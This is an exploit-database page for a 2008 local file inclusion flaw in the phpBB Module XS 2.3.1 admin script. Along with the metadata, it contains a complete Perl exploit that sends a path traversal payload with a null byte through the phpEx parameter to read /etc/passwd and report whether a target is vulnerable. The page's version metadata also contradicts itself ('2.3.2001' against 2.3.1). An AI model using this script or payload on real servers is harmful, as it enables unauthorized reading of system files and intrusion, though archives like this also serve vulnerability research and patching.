phpBB Module XS 2.3.1 Local File Inclusion Exploit

vendor:

phpBB Module XS

by:

bd0rk

7.5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: phpBB Module XS

Affected Version From: 2.3.2001

Affected Version To: 2.3.2001

Patch Exists: YES

Related CWE: N/A

CPE: a:phpbbmods:phpbb_module_xs:2.3.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

phpBB Module XS 2.3.1 Local File Inclusion Exploit

This exploit allows an attacker to include a file from the local file system of the web server. The vulnerability is due to the use of user-supplied input without proper validation. A remote attacker can exploit this vulnerability to include a file from the local file system of the web server and execute arbitrary code on the vulnerable system.

Mitigation:

Input validation should be used to prevent the inclusion of malicious files.

Source

Exploit-DB raw data:

          ..%%%%....%%%%...%%..%%...........%%%%...%%%%%...%%%%%%..%%...%%.
          .%%......%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%...%%.
          ..%%%%...%%..%%..%%%%%%..%%%%%%..%%......%%%%%...%%%%....%%.%.%%.
          .....%%..%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%%%%%%.
          ..%%%%....%%%%...%%..%%...........%%%%...%%..%%..%%%%%%...%%.%%..
          .................................................................

[+] Software: phpBB Module XS 2.3.1
[+] Vendor: http://www.phpbbmods.de
[+] Download: http://www.phpbbmods.de/downloads.php?view=detail&id=3

[~] Vulnerability found by: bd0rk
[~] Contact: bd0rk[at]hackermail.com
[~] Website: http://www.soh-crew.it.tt
[~] Greetings: str0ke, TheJT, maria

[+] Vulnerable Code in /admin/admin_xs.php line 33
[+] Code: include_once('xs_include.' . $phpEx);
[+] It is a local file inclusion

[+]Exploitcode:

use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;

print "\t\t+++++++++++++++++++++++++++++++++++++++++++++++++++\n\n";
print "\t\t+                                                 +\n\n";
print "\t\t+ phpBB Module XS 2.3.1 Local File Inclusion Expl +\n\n";
print "\t\t+                                                 +\n\n";
print "\t\t+++++++++++++++++++++++++++++++++++++++++++++++++++\n\n";

if (!$ARGV[0])
{
print "Usage: expl.pl [target]\n";
print "Example: expl.pl http://127.0.0.1/directory/admin/\n";
}

else
{
$web=$ARGV[0];
chomp $web;

$file="admin_xs.php?phpEx=../../../../../../../../../../../../../../../../etc/passwd%00";

my $web1=$web.$file;
print "$web1\n\n";
my $agent = LWP::UserAgent->new;
my $req=HTTP::Request->new(GET=>$web1);
$doc = $agent->request($req)->as_string;

if ($doc=~ /^root/moxis ){
print "This is vulnerable\n";
}
else
{
print "It is not vulnerable\n";
}
}

# milw0rm.com [2008-03-24]